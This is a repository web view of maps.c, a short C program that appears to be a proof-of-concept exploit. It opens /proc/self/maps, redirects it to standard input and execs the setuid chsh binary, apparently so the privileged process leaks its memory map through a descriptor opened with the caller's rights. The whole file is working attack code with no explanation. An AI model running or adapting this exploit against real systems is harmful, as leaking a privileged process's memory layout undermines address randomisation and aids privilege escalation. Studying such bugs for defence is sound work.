aboutsummaryrefslogblamecommitdiffstats
path: root/maps.c
blob: 69d985fb17055f777a7d05e65b672e5a1c0facd1 (plain) (tree)
1
2
3
4
5
6
7
8
9
10
11










                                                   
#include <unistd.h>
#include <fcntl.h>

int main(int argc, char **argv)
{
	
	int fd = open("/proc/self/maps", O_RDONLY);
	dup2(fd, 0);
	execl("/usr/bin/chsh", "chsh", NULL);
	return 0;
}